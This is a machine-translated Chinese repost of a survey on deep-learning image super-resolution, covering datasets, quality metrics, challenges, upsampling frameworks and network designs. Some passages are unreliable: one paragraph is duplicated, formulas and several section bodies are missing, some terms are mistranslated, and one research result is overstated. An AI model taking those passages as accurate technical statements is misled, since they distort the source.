Deep Learning for Image Super-resolution:A Survey

news2024/11/15 22:24:51

Abstract

图像超分辨率技术是计算机视觉中提高图像和视频分辨率的一类重要的图像处理技术。近年来,深度学习技术在图像超分辨率方面取得了显著进展。本文旨在对基于深度学习的图像超分辨率研究进展进行综述。一般而言,我们可以将现有的SR技术研究大致分为三大类:监督SR、无监督SR和特定领域SR。此外,我们还讨论了一些其他重要问题,如公共可用的基准数据集和性能评估度量。最后,我们在总结这项调查时,强调了几个未来的方向和开放的问题,这些问题应该由社区在未来进一步解决。

1 INTRODUCTION

图像超分辨率(Image Super-resolution,SR)是计算机视觉和图像处理领域中一类重要的图像处理技术,是指从低分辨率(Low-resolution,LR)图像恢复高分辨率(High-resolution,HR)图像的过程。它具有广泛的现实应用,例如医学成像[1]、[2]、[3]、监控和安全[4]、[5])等。除了改善图像感知质量,它还有助于改善其他计算机视觉任务[6]、[7]、[8]、[9]。通常,这个问题是非常具有挑战性的并且固有地是不适定的,因为总是存在与单个LR图像相对应的多个HR图像。在文献中,已经提出了多种经典的SR方法,包括基于预测的方法[10],[11],[12],基于边缘的方法[13],[14],统计方法[15],[16],基于块的方法[13],[17],[18],[19]和稀疏表示方法[20],[21]等。

近年来,随着深度学习技术的快速发展,基于深度学习的SR模型得到了积极的探索,并且常常在SR的各种基准上实现最先进的性能。各种深度学习方法已经被应用于处理SR任务,范围从早期的基于卷积神经网络(CNN)的方法(例如,SRCNN [22],[23])到最近使用生成式对抗网络(GAN)[24]的有前途的SR方法(例如,[25])。一般而言,使用深度学习技术的SR算法家族在以下主要方面彼此不同:不同类型的网络结构[26]、[27]、[28],不同类型的损失函数[8]、[29]、[30],不同类型的学习原则和策略[8]、[31]、[32]等。

在本文中,我们全面给予了利用深度学习实现图像超分辨率的最新进展。尽管文献中已有一些SR调查,但我们的工作不同之处在于,我们专注于基于深度学习的SR技术,而大多数早期工作[33]、[34]、[35]、[36]旨在调查传统SR算法,或者一些研究主要集中于提供基于全参考度量或人类视觉感知的定量评估[37]、[38]。与现有调查不同,本调查采用基于深度学习的独特视角,以系统和全面的方式回顾SR技术的最新进展。

这项调查的主要贡献有三个方面:

1)本文对基于深度学习的图像超分辨率技术给予了全面的综述,包括问题设置、基准数据集、性能指标、一系列具有深度学习的SR方法、特定领域的SR应用等。

2)我们以分层和结构化的方式系统地概述了基于深度学习的SR技术的最新进展。和总结了有效SR解决方案的每个组件的优点和局限性。

3)我们讨论挑战和开放的问题,并确定新的趋势和未来的方向,为社会提供有见地的指导。

在接下来的章节中,我们将从多个方面介绍利用深度学习实现图像超分辨率的最新进展。图1以分层结构的方式显示了本次调查所涵盖的图像SR的分类。第2节给出了问题定义,并回顾了主流数据集和评估指标。第三节模块化地分析了有监督SR的主要组成部分。第四节简要介绍了无监督SR方法。第5节介绍了一些流行的特定于领域的SR应用,第6节讨论了未来的方向和未决问题。

2 PROBLEM SETTING AND TERMINOLOGY

2.1 Problem Definitions

2.2 Datasets for Super-resolution

目前可用于图像超分辨率的数据集有很多种,它们在图像数量、质量、分辨率、多样性等方面差异很大,有的提供LR-HR图像对,有的只提供HR图像,这种情况下LR图像通常是通过MATLAB中默认设置的imresize函数获得的(即具有抗混叠的双三次插值)。在表1中,我们列出了SR社区常用的许多图像数据集,并特别指出了它们的HR图像数量、平均分辨率、平均像素数、图像格式和类别关键字。

除了这些数据集,一些广泛用于其他视觉任务的数据集也被用于SR,例如ImageNet [51]、MS-COCO [52]、VOC 2012 [53]、CelebA [54]。此外,结合多个数据集进行训练也很流行,如结合T91和BSDS 300 [26]、[27]、[55]、[56],结合DIV 2K和Flickr 2K [31]、[57]。

2.3 Image Quality Assessment

图像质量是指图像的视觉属性,侧重于观看者的感知评价。通常,图像质量评估(IQA)方法包括基于人类感知的主观方法(即,图像看起来有多逼真)和客观的计算方法。前者更符合我们的需要,但往往费时费钱,因此后者是目前的主流。然而,这些方法之间并不一定一致,因为客观方法往往无法非常准确地捕捉人类的视觉感知,这可能导致IQA结果存在较大差异[25],[58]。

此外,客观IQA方法进一步分为三类[58]:使用参考图像执行评估的全参考方法、基于所提取特征的比较的简化参考方法,以及无参考方法(即,盲IQA),没有任何参考图像。接下来我们将介绍几种最常用的IQA方法,包括主观方法和客观方法。

2.3.1 Peak Signal-to-Noise Ratio

峰值信噪比(PSNR)是有损变换(如图像压缩、图像修复)中最常用的重建质量度量之一。 对于图像的超分辨率,PSNR通过图像间的最大像素值(表示为L)和均方误差(MSE)来定义。 给定N像素的地面真值图像I和重建I,I与I之间的PSNR定义如下:

其中在使用8位表示的一般情况下L等于255。由于PSNR只与像素级的MSE有关,只关心对应像素之间的差异,而不关心视觉感知,因此在真实的场景中往往无法很好地表征重建质量,而真实场景中我们通常更关心人的感知。但由于需要与文献进行比较,且缺乏完全准确的感知指标,PSNR仍然是目前使用最广泛的SR模型评价标准。

2.3.2 Structural Similarity

2.3.3 Mean Opinion Score

平均意见得分(MOS)测试是一种常用的主观IQA方法,其中要求人工评分员为测试图像分配感知质量得分。通常,评分为1(差)至5(好)。最终MOS计算为所有额定值的算术平均值。

MOS测验是一种可靠的IQA方法,但也存在一些固有的缺陷,如量表感知的非线性、评定标准的偏差和变异性。实际上,有些SR模型在常用IQA指标方面表现不佳(例如:PSNR),但在感知质量方面远远超过其他方法,在这种情况下,MOS测试是准确测量感知质量的最可靠IQA方法[8]、[25]、[46]、[62]、[63]、[64]、[65]。

2.3.4 Learning-basedPerceptual Quality

为了在减少人工干预的同时更好地评估图像感知质量,研究者尝试通过在大数据集上学习来评估感知质量。具体而言,Ma等人[66]和Talebi等人[67]分别提出了无参考Ma和NIMA,它们从视觉感知评分中学习,并直接预测质量评分,而无需地面实况图像。相比之下,Kim等人[68]提出了DeepQA,其通过对失真图像、客观误差图和主观评分的三元组进行训练来预测图像的视觉相似性。Zhang等人[69]收集了大规模感知相似性数据集,通过训练的深度网络根据深度特征的差异评估感知图像块相似性(LPIPS),并表明通过CNNs学习的深度特征对感知相似性的建模要比没有CNNs的度量好得多。

尽管这些方法在捕获人类视觉感知方面表现出更好的性能,但是我们需要什么样的感知质量(例如,更逼真的图像或与原始图像一致的同一性)仍然是有待探索的问题,因此客观IQA方法(例如,PSNR,SSIM)仍然是目前的主流。

2.3.5 Task-based Evaluation

根据SR模型通常可以帮助其他视觉任务[6]、[7]、[8]、[9]的事实,通过其他任务评估重建性能是另一种有效的方式。具体而言,研究人员将原始和重建的HR图像输入训练模型,并通过比较对预测性能的影响来评估重建质量。用于评估的视觉任务包括物体识别[8]、[70]、人脸识别[71]、[72]、人脸对齐和解析[30]、[73]等。

2.3.6 Other IQA Methods

除了上述IQA方法,还有其他不太流行的SR指标。多尺度结构相似性(MS-SSIM)[74]在纳入观察条件变化方面比单尺度SSIM提供了更大的灵活性。特征相似度(FSIM)[75]根据相位一致性和图像梯度幅度提取人类感兴趣的特征点,以评估图像质量。自然图像质量评价器(NIQE)[76]利用自然图像中观察到的统计规律的可测量偏差,而不暴露于失真图像。

最近,Blau等人【77】从数学上证明了失真(例如:PSNR,SSIM)和感知质量(例如,MOS)是不一致的,并表明随着失真的减少,感知质量一定更差。因此,如何准确地测量SR质量仍然是一个亟待解决的问题。

2.4 Operating Channels

除了通常使用的RGB颜色空间之外,YCbCr颜色空间也广泛用于SR。在该空间中,图像由Y、Cb、Cr通道表示,分别表示亮度、蓝差和红差色度分量。虽然目前没有公认的最佳实践来执行或评估在哪个空间上的超分辨率,但早期模型倾向于在YCbCr空间的Y通道上操作[26]、[43]、[78]、[79],而较新的模型倾向于在RGB通道上操作[28]、[31]、[57]、[70]。值得注意的是,在不同的颜色空间或通道上操作(训练或评估)会使评估结果差异很大(高达4 dB)[23]。

2.5 Super-resolution Challenges

在本节中,我们将简要介绍图像SR的两个最流行的挑战,NTIRE [80]和PIRM [47],[81]。

NTIRE Challenge.

图像恢复和增强新趋势(NTIRE)挑战[80]与CVPR结合,包括SR、去噪和彩色化等多项任务。对于图像SR,NTIRE挑战建立在DIV2K [42]数据集上,由双三次缩减轨迹和具有真实未知退化的盲轨迹组成。这些轨迹在衰减和标度因子方面有所不同,旨在促进理想条件和实际不利情况下的SR研究。

PIRM Challenge.

感知图像恢复和处理(PIRM)挑战与ECCV结合,也包括多个任务。与NTIRE相比,PIRM的一个子挑战[47]集中于生成准确度和感知质量之间的权衡,另一个[81]集中于智能手机上的SR。众所周知[77],以失真为目标的模型经常产生视觉上令人不愉快的结果,而以感知质量为目标的模型在信息保真度方面表现较差。PIRM根据均方根误差(RMSE)阈值将感知失真平面划分为三个区域。在每个区域中,获胜算法是由NIQE [76]和Ma [66]评估的实现最佳感知质量[77]的算法。而在另一个子挑战[81]智能手机上的SR中,要求参与者使用有限的智能手机硬件(包括CPU、GPU、RAM等)进行SR,评价指标包括PSNR、MS-SSIM和MOS测试。通过这种方式,PIRM鼓励对感知失真权衡的高级研究,并推动智能手机上轻量级和高效的图像增强。

3 SUPERVISED SUPER-RESOLUTION

目前,研究人员已经提出了多种具有深度学习功能的超分辨率模型。这些模型集中于监督SR,即,用LR图像和对应的HR图像两者训练。尽管这些模型之间的差异很大,但它们本质上是一组组件的一些组合,如模型框架、上采样方法、网络设计和学习策略。从这个角度出发,研究者将这些组成部分结合起来,建立一个适合特定目的的整合SR模型。在本节中,我们将集中于模块化地分析基本组件(如图1所示),而不是孤立地介绍每个模型,并总结它们的优点和局限性。

3.1 Super-resolution Frameworks

由于图像超分辨率是不适定问题,因此如何执行上采样(即,从LR输入产生HR输出)是关键问题。尽管现有模型的架构差异很大,但基于所采用的上采样操作及其在模型中的位置,它们可以归结为四种模型框架(如图2所示)。

3.1.1 Pre-upsampling Super-resolution

由于直接学习从低维空间到高维空间的映射很困难,利用传统的上采样算法获得高分辨率图像,然后使用深度神经网络对图像进行细化是一种直接的解决方案。因此,Dong等人[22]、[23]首先采用预上采样SR框架(如图2a所示),并提出SRCNN来学习从插值LR图像到HR图像的端到端映射。具体地,使用传统方法将LR图像上采样为具有期望尺寸的粗略HR图像(例如,双三次插值),然后在这些图像上应用深CNN以重构高质量细节。

由于最困难的上采样操作已经完成,神经网络只需要对粗糙图像进行细化,大大降低了学习难度。此外,这些模型可以将具有任意大小和比例因子的插值图像作为输入,并给出与单尺度SR模型性能相当的精细结果[26]。因此,它逐渐成为最流行的框架之一[55]、[56]、[82]、[83],这些模型之间的主要差异是后验模型设计(第3.3)和学习策略(第第3.4节)。然而,预定义的上采样经常引入副作用(例如,噪声放大和模糊),并且由于大多数操作在高维空间中执行,因此时间和空间成本远高于其他框架[43]、[84]。

3.1.2 Post-upsampling Super-resolution

为了提高计算效率,充分利用深度学习技术自动提高分辨率,研究者提出在模型末端集成端到端的可学习层,取代预先定义的上采样,在低维空间进行大部分计算。在该框架的先驱工作[43]、[84]中,即图2b所示的后上采样SR,LR输入图像被馈入深度神经网络而不增加分辨率,并且端到端可学习上采样层被应用于网络末端。

为了提高计算效率,充分利用深度学习技术自动提高分辨率,研究者提出在模型末端集成端到端的可学习层,取代预先定义的上采样,在低维空间进行大部分计算。在该框架的先驱工作[43]、[84]中,即图2b所示的后上采样SR,LR输入图像被馈入深度神经网络而不增加分辨率,并且端到端可学习上采样层被应用于网络末端。

由于计算量巨大的特征提取过程只发生在低维空间,分辨率只在最后增加,因此大大降低了计算量和空间复杂度。因此,该框架也成为最主流的框架之一[25]、[31]、[79]、[85]。这些模型的主要区别在于可学习的上采样层(3.2)、前部CNN结构(第3.3)和学习策略(第3.4节)等。

3.1.3 Progressive Upsampling Super-resolution

虽然后上采样SR框架极大地降低了计算量,但仍存在一些不足。一方面,仅在一个步骤中执行上采样,这极大地增加了大比例因子的学习难度(例如,4、8)。另一方面,每个比例因子需要训练一个单独的SR模型,这无法科普多尺度SR的需要。为了解决这些缺点,拉普拉斯金字塔SR网络(LapSRN)[27]采用了渐进上采样框架,如图2c所示。具体而言,该框架下的模型基于级联的神经网络,并逐步重建更高分辨率的图像。在每个阶段,图像被上采样到更高的分辨率,并由CNN细化。MS-LapSRN [65]和渐进SR(ProSR)[32]等其他工作也采用了该框架,并取得了较高的性能。与LapSRN和MS-LapSRN使用中间重建图像作为后续模块的“基础图像”相比,ProSR保留了主信息流,并通过单独的头部重建中间分辨率图像。

该框架下的模型通过将困难任务分解为简单任务,大大降低了学习难度,尤其是在大因子的情况下,并且能够在不引入过多空间和时间开销的情况下科普多尺度SR问题.此外,一些具体的学习策略,如课程学习(第3.4.3节)和多重监督(3.4.4)可直接集成,进一步降低学习难度,提高最终成绩。但这些模型也存在多阶段模型设计复杂、训练稳定性差等问题,需要更多的建模指导和更先进的训练策略。

3.1.4 Iterative Up-and-down Sampling Super-resolution

为了更好地捕获LR-HR图像对的相互依赖性,SR [44]中包含一种名为反投影[12]的高效迭代程序。这种SR框架,即迭代上下采样SR(如图2d所示),试图迭代地应用反投影细化,即,计算所述重建误差,然后将其融合回去以调谐所述HR图像强度。具体而言,Haris等人[57]利用迭代上下采样层并提出DBPN,其交替连接上采样和下采样层,并使用所有中间重建来重建最终HR结果。类似地,SRFBN [86]采用具有更密集跳跃连接的迭代上下采样反馈块,并学习更好的表示。用于视频超分辨率的RBPN [87]从连续视频帧中提取上下文,并通过反向投影模块将这些上下文组合以产生循环输出帧。

该框架下的模型能够更好地挖掘LR-HR图像对之间的深层关系,从而提供更高质量的重建结果。然而,back-projection模块的设计标准仍不明确。由于该机制刚刚被引入到基于深度学习的随机学习中,因此该框架具有很大的潜力,需要进一步的探索。

3.2 Upsampling Methods

除了模型中的上采样位置外,如何进行上采样也是非常重要的。虽然已经有了各种传统的上采样方法[20]、[21]、[88]、[89],但是利用CNN学习端到端上采样已经逐渐成为一种趋势。在本节中,我们将介绍一些传统的基于插值的算法和基于深度学习的上采样层。

3.2.1 Interpolation-based Upsampling

图像插值,又名图像缩放是指调整数字图像的大小,并且被图像相关应用广泛使用。传统的插值方法包括最近邻插值、双线性和双三次插值、Sinc和Lanczos重采样等,由于这些方法易于解释和实现,其中一些方法在基于神经网络的SR模型中仍被广泛应用。

Nearest-neighbor Interpolation.

最近邻插值是一种简单直观的插值算法。它为每个要插值的位置选择最近像素的值,而不考虑任何其他像素。因此,该方法非常快,但通常产生低质量的块状结果。

Bilinear Interpolation.

双线性插值(BLI)首先在图像的一个轴上执行线性插值,然后在另一个轴上执行线性插值,如图3所示。由于该方法是一种感受野大小为2×2的二次插值方法,因此在保持较快速度的同时,其性能优于最近邻插值方法。

Bicubic Interpolation.

类似地,双三次插值(BCI)[10]在两个轴上执行三次插值,如图3所示。与BLI相比,BCI考虑了4 × 4像素,结果更平滑,伪影更少,但速度更低。事实上,具有抗混叠功能的BCI是构建SR数据集的主流方法(即:将HR图像降级为LR图像),并且还广泛用于预上采样SR框架(第第3.1.1节)。

事实上,基于插值的上采样方法仅仅基于其自身的图像信号来提高图像分辨率,而没有带来任何更多的信息。

相反,它们常常引入一些副作用,如计算复杂度、噪声放大、模糊结果。因此,当前的趋势是用可学习的上采样层来代替基于插值的方法。

3.2.2 Learning-based Upsampling

为了克服插值方法的不足,以端到端的方式学习上采样,在SR域中引入了转置卷积层和亚像素层。

Transposed Convolution Layer.

转置卷积层,又名去卷积层[90]、[91]试图执行与正常卷积相反的变换,即,基于大小类似于卷积输出的特征图来预测可能的输入。具体地,它通过插入零来扩展图像并执行卷积来增加图像分辨率。以3 × 3核的2 × SR为例(如图4所示),输入首先被扩展为原始大小的两倍,其中添加的像素值被设置为0(图4b)。然后应用核大小为3 × 3、步长为1、填充为1的卷积(图4c)。通过这种方式,输入被上采样2倍,在这种情况下,感受野最多为2 × 2。由于转置卷积以端到端的方式扩大了图像尺寸,同时保持了与普通卷积兼容的连通性模式,因此其被广泛用作SR模型中的上采样层[57]、[78]、[79]、[85]。然而,该层很容易在每个轴上造成"不均匀重叠"[92],并且两个轴上的相乘结果进一步产生变化幅度的棋盘状图案,从而损害SR性能。

Sub-pixel Layer.

子像素层[84]是另一个端到端可学习的上采样层,其通过卷积生成多个通道然后对其进行整形来执行上采样,如图5所示。在该层内,首先应用卷积以产生具有s x s倍信道的输出,其中s是缩放因子(图5b)。假设输入大小为h × w × c,则输出大小为h × w × s x s x c。之后,整形操作(又称shuffle [84])以产生大小为sh × sw × c的输出(图5c)。在这种情况下,感受野可以达到3 × 3。由于端到端上采样方式,该层也被SR模型[25]、[28]、[39]、[93]广泛使用。与转置卷积层相比,子像素层具有更大的感受野,提供了更多的上下文信息,有助于生成更真实的细节。然而,由于感受野的分布是不均匀的,并且块状区域实际上共享相同的感受野,这可能导致在不同块的边界附近的一些伪影。另一方面,独立地预测块区域中的相邻像素可能导致不平滑的输出。因此,Gao等人[94]提出PixelTCL,其将独立预测替换为相互依赖的顺序预测,并产生更平滑和更一致的结果。

Meta Upscale Module.

先前的方法需要预定义缩放因子,即,针对不同的因子训练不同的上采样模块,这效率低下并且不符合实际需要。因此Hu等[95]提出了meta upscale模块(如图6所示),该模块首先基于元学习求解任意比例因子的SR。具体而言,对于HR图像上的每个目标位置,该模块将其投影到LR特征图上的小块(即,k × k × cin),预测卷积权重(即,k × k × cin × cout),并执行卷积。以这种方式,元放大模块可以通过单个模型以任意因子连续地放大它。并且由于大量的训练数据(同时训练多个因子),该模块可以在固定因子上表现出相当甚至更好的性能。虽然该模块需要在推理过程中预测权值,但上采样模块的执行时间只占特征提取时间的1%左右[95]。然而,该方法基于独立于图像内容的若干值来预测每个目标像素的大量卷积权重,因此当面对较大的放大倍率时,预测结果可能不稳定并且效率较低。

目前,这些基于学习的层次已经成为应用最广泛的上采样方法。特别是在后上采样框架中(第3.1.2),这些层通常在最终的上采样阶段中用于基于在低维空间中提取的高级表示来重建HR图像,并且因此实现端到端SR,同时避免在高维空间中的压倒性操作。

3.3 Network Design

网络设计已经成为深度学习的重要组成部分。在超分辨率领域,研究人员在四种SR框架之上应用各种网络设计策略(第3.1)来构建最终的网络。在本节中,我们将这些网络分解为网络设计的基本原则或策略,逐一介绍并分析其优点和局限性。

3.3.1 Residual Learning

在He等人[96]提出用ResNet来学习残差而不是彻底映射之前,残差学习已经被SR模型[48]、[88]、[97]广泛采用,如图7a所示。其中,残差学习策略大致可分为全局残差学习和局部残差学习。

Global Residual Learning.

由于图像SR是图像到图像的平移任务,其中输入图像与目标图像高度相关,因此研究者尝试仅学习它们之间的残差,即全局残差学习。在这种情况下,它避免了学习从一个完整图像到另一个完整图像的复杂变换,而是仅需要学习残差图来恢复丢失的高频细节。由于大部分区域的残差接近于零,因此大大降低了模型的复杂度和学习难度。因此,它被SR模型广泛使用[26]、[55]、[56]、[98]。

Local Residual Learning.

局部残差学习类似于ResNet [96]中的残差学习,用于缓解网络深度不断增加导致的退化问题[96],降低训练难度,提高学习能力。它也广泛用于SR [70]、[78]、[85]、[99]。

在实际应用中,上述方法都是通过shortcut connections(通常按一个小常数缩放)和逐元素相加来实现的,不同之处在于前者直接连接输入和输出图像,而后者通常在网络内部不同深度的层之间添加多个捷径。

3.3.2 Recursive Learning

为了在不引入压倒性参数的情况下学习更高级的特征,递归学习(其意味着以递归方式多次应用相同的模块)被引入SR领域,如图7b所示。

其中,16-递归DRCN [82]采用单卷积层作为递归单元,接收野达41 × 41,远大于SRCNN [22]的13×13,且参数不多。DRRN [56]使用ResBlock [96]作为25次递归的递归单元,并获得比17-ResBlock基线更好的性能。后来Tai等人[55]提出了基于记忆块的MemNet,它由一个6递归的ResBlock组成,每个递归的输出被连接起来,并经过一个额外的1 × 1卷积,用于记忆和遗忘。级联残差网络(卡恩)[28]也采用了类似的递归单元,包括几个ResBlock。最近,Li等人[86]采用迭代上下采样SR框架,并提出了一种基于递归学习的反馈网络,其中整个网络的权重在所有递归中共享。

此外,研究者还在不同的部分使用了不同的递归模块。具体而言,Han等人[85]提出了双态递归网络(DSRN),用于在LR和HR状态之间交换信号。在每个时间步长(即,递归),更新并交换每个分支的表示,以便更好地探索LR-HR关系。类似地,Lai等人[65]采用嵌入和上采样模块作为递归单元,从而以很少的性能损失为代价大大减小了模型大小。

一般来说,递归学习确实可以学习更高级的表示而不引入过多的参数,但是仍然不能避免高的计算成本。并且其固有地带来消失或爆炸梯度问题,因此一些技术例如残差学习(第3.3.1节)和多重监督(3.4.4)通常与递归学习相结合,以缓解这些问题[55],[56],[82],[85]。

3.3.3 Multi-path Learning

多路径学习是指通过多个路径传递特征,这些路径执行不同的操作,并将它们融合回来以提供更好的建模能力。具体而言,它可以分为全局多路径学习、局部多路径学习和尺度特定多路径学习。

Global Multi-path Learning.

全局多路径学习是指利用多个路径来提取图像不同方面的特征。这些路径在传播过程中可以相互交叉,从而大大增强了学习能力。具体而言,LapSRN [27]包括以从粗到细的方式预测子带残差的特征提取路径和基于来自两个路径的信号重建HR图像的另一路径。类似地,DSRN [85]利用两条路径分别提取低维和高维空间中的信息,并不断交换信息以进一步提高学习能力。像素递归超分辨率[64]采用条件路径捕捉图像的全局结构,采用先验路径捕捉生成像素的序列依赖性。相比之下,Ren等人[100]采用具有不平衡结构的多路径来执行上采样并在模型结束时融合它们。

Local Multi-path Learning.

在初始模块[101]的激励下,MSRN [99]采用了一个新的块来进行多尺度特征提取,如图7e所示。在该块中,采用核大小为3 × 3和5 × 5的两个卷积层同时提取特征,然后将输出级联并再次进行相同的操作,最后进行额外的1×1卷积。shortcut connects通过元素级加法连接输入和输出。通过这种局部多路径学习,SR模型可以更好地从多个尺度提取图像特征,并且进一步提高性能。

Scale-specific Multi-path Learning.

考虑到不同尺度的SR模型需要经过相似的特征提取,Lim等[31]提出了尺度相关的多路径学习,以科普单个网络的多尺度SR。具体地说,它们共享模型的主要组件(即,用于特征提取的中间层),并且分别在网络的开始和结束处附加尺度特定的预处理路径和上采样路径(如图7f所示)。在训练过程中,仅启用和更新与选定比例对应的路径。通过这种方式,拟定的MDSR [31]通过共享不同尺度的大部分参数,极大地减少了模型大小,并表现出与单尺度模型相当的性能。卡恩[28]和ProSR [32]也采用了类似的特定尺度多路径学习。

3.3.4 Dense Connections

自从Huang等人[102]提出基于稠密块的稠密网络后,稠密连接在视觉任务中变得越来越普遍。对于稠密块中的每一层,前面所有层的特征地图都被用作输入,并且它自己的特征地图被用作后面所有层的输入,因此它导致l层稠密块中的l·(l − 1)/2个连接(l ≥ 2)。密集连接不仅有助于减轻梯度消失、增强信号传播和鼓励特征重用,而且通过采用小的生长速率(即,密集块中的通道数),并在连接所有输入特征图之后压缩通道。

为了融合低层和高层特征以提供更丰富的信息来重建高质量的细节,如图7d所示,在SR场中引入了密集连接。Tong等[79]不仅采用密集块构造了一个69层的SRDenseNet,而且在不同的密集块之间插入了密集连接,即:对于每个密集块,所有先前块的特征图被用作输入,并且其自身的特征图被用作所有后续块的输入。MemNet [55]、CARN [28]、RDN [93]和ESRGAN [103]也采用了这些层级和块级的密集连接。DBPN [57]也广泛采用密集连接,但其密集连接是在所有上采样单元之间,下采样单元也是如此。

3.3.5 Attention Mechanism

Channel Attention.

考虑到不同通道之间特征表示的相互依赖性和相互作用,Hu等人[104]提出了一种“squeeze-and-excitation”模块,通过显式建模通道相互依赖性来提高学习能力,如图7c所示。在该块中,每个输入声道被压缩成声道描述符(即,常数),则这些描述符被馈送到两个密集层中,以产生用于输入声道的声道式缩放因子。最近,Zhang等[70]将信道注意机制与SR结合起来,提出了RCAN,显著提高了模型的表示能力和SR性能。为了更好地学习特征相关性,Dai等人[105]进一步提出了二阶信道关注度(SOCA)模块。SOCA通过使用二阶特征统计量而不是GAP来自适应地重新缩放通道式特征,并且使得能够提取更多信息和区别性表示。

Non-local Attention.

大多数现有的SR模型具有非常有限的局部感受野。但是,一些远距离对象或纹理对于局部面片生成可能非常重要。因此,Zhang等人[106]提出了局部和非局部注意块来提取捕捉像素之间的长期依赖性的特征。具体地,他们提出了用于提取特征的主干分支,以及用于自适应地重缩放主干分支的特征的(非)局部掩码分支。其中,局部分支采用编码器-解码器结构学习局部注意力,非局部分支采用嵌入式高斯函数评估特征映射中位置索引的成对关系,从而预测缩放权值。通过这种机制,该方法能够很好地捕捉空间注意力,进一步提高了表征能力。类似地,Dai等人[105]也引入了非局部注意机制来捕获远距离空间上下文信息。

3.3.6 Advanced Convolution

由于卷积运算是深度神经网络的基础,因此研究人员也尝试改进卷积运算以获得更好的性能或更高的效率

Dilated Convolution.

众所周知,背景信息有助于为SR生成逼真的细节。因此,Zhang等人[107]在SR模型中用扩张卷积代替普通卷积,将感受野增加两倍以上,并实现更好的性能。

Group Convolution.

受到轻量级CNNs [108]、[109]的最新进展的推动,Hui等人[98]和Ahn等人[28]分别提出了IDN和CARN-M,方法是用群卷积代替普通卷积。正如一些先前的工作已经证明的,群卷积以少量性能损失为代价大大减少了参数和运算的数量[28],[98]。

Depthwise Separable Convolution

由于霍华德等人[110]提出了用于有效卷积的深度可分离卷积,因此其已经扩展到各个领域。具体地说,它由因子分解深度卷积和点向卷积(即,1 × 1卷积),因此减少了大量参数和运算,精度仅略有降低[110]。最近,Nie等人[81]采用了深度可分离卷积,大大加速了SR架构。

3.3.7 Region-recursive Learning

大多数SR模型将SR视为与像素无关的任务,因此不能适当地找出生成的像素之间的相互依赖性。受PixelCNN [111]的启发,Dahl等人[64]首先提出像素递归学习,通过使用两个网络分别捕获全局上下文信息和串行生成依赖性来执行逐像素生成。以这种方式,所提出的方法在超分辨率的非常低分辨率的面部图像(例如,8×8),并且远远超过了之前的MOS测试方法[64](第2.3.3节)。

在人类注意力转移机制[112]的激励下,Attention-FH [113]也采用了这种策略,即借助于递归策略网络来顺序地发现关注的补丁并执行局部增强。该算法能够根据图像自身的特点自适应地为每幅图像选择最优的搜索路径,充分利用了图像的全局相关性.

虽然这些方法在一定程度上表现出了更好的性能,但递归过程需要长的传播路径,这大大增加了计算成本和训练难度,特别是对于超分辨率HR图像。

3.3.8 PyramidPooling

受空间金字塔池化层[114]的启发,Zhao等人[115]提出了金字塔池化模块,以更好地利用全局和局部上下文信息。具体而言,对于大小为h×w×c的特征图,每个特征图被划分为M×M个箱,并经过全局平均合并,从而得到M×M×c个输出。然后执行1×1卷积以将输出压缩到单个通道。然后,通过双线性插值将低维特征图上采样到与原始特征图相同的大小。通过使用不同的M,该模块有效地集成了全局和局部上下文信息。通过合并该模块,提出的EDSR-PP模型[116]进一步改善了基线的性能。

3.3.9 Wavelet Transformation

众所周知,小波变换(WT)[117]、[118]是通过将图像信号分解成表示纹理细节的高频子带和包含全局拓扑信息的低频子带而高效表示图像的方法。Bae等[119]首次将小波变换与基于深度学习的SR模型相结合,以插值后的LR小波的子带作为输入,预测相应HR子带的残差。小波变换和逆小波变换分别用于分解LR输入和重构HR输出。类似地,DWSR [120]和Wavelet-SRNet [121]也在小波域中执行SR,但是具有更复杂的结构。与上述独立处理每个子带的工作相比,MWCNN [122]采用多级WT,并将级联的子带作为单个CNN的输入,以更好地捕捉它们之间的依赖性。由于小波变换的有效表示,使用该策略的模型通常大大减少模型大小和计算成本,同时保持有竞争力的性能[119]、[122]。

3.3.10 Desubpixel

为了加快推理速度,Vu等人[123]提出在低维空间中执行耗时的特征提取,并提出去子像素,这是子像素层洗牌操作的逆操作(Sec.第3.2.2节)。具体而言,去子像素操作在空间上分割图像,将它们堆叠为额外通道,从而避免信息丢失。通过这种方式,它们在模型开始时通过去子像素对输入图像进行下采样,学习较低维空间中的表示,并在结束时上采样到目标大小。提出的模型在智能手机上的PIRM挑战赛[81]中取得了最好的成绩,具有非常高速的推理和良好的性能。

3.3.11 xUnit

为了将空间特征处理和非线性激活结合起来,更有效地学习复杂特征,Kligvasser等人[124]提出用于学习空间激活函数的xUnit。 具体来说,RELU被视为确定一个权重图,以与输入执行元素相乘,而XUnit通过卷积和高斯选通直接学习权重图。 尽管XUnit的计算要求更高,但由于它对性能的显著影响,它允许在与RELU匹配性能的同时大幅减小模型大小。 这样,作者将模型尺寸缩小了近50%,而没有任何性能下降。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/150997.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++设计模式:原型模式(详解+实现案例)

文章目录原型模式使用场景实现步骤案例一案例二优缺点原型模式 原型模式: 用原型实例指定创建对象的种类,并通过拷贝这些原型创建新的对象,简单理解就是“克隆指定对象” 使用场景 某些结构复杂的对象的创建工作中由于需求的变化&#xff…

QT之OpenGL光照

QT之OpenGL光照1. 冯氏光照模型概述1.1 环境光照1.2 漫反射光照1.2.1 法向量1.3 镜面光照1.4 冯氏光照公式1.5 着色器demo2. 材质2.1 demo3. 光照贴图3.1 demo4. 投光物4.1 平行光4.1.1 平行光Demo4.2 点光源4.2.1 衰减4.2.1 点光源Demo4.3 聚光4.3.1 聚光Demo4.3.2 平滑/软化边…

Ajax工作原理

Ajax工作原理 HTTP协议原理与ajax工作原理 1.什么HTTP协议 协议指的是规定浏览器跟服务器交互的数据格式 2.浏览器请求 必须是:请求报文 3.服务器响应 必须是:响应报文 4.请求报文与响应报文的数据格式如下 1.请求报文 (1)请求行 : 包含请…

TP4054国产替代DP4054 500mA 线性锂电充电芯片

DP4054 是一款完整的采用恒定电流/恒定电压单节锂离子电池充电管理芯片。其SOT小封装和较少的外部元件数目使其成为便携式应用的理想器件,DP4054 可以适合USB 电源和适配器电源工作。由于采用了内部PMOSFET 架构,加上防倒充电路,所以不需要外…

Msf后渗透测试阶段

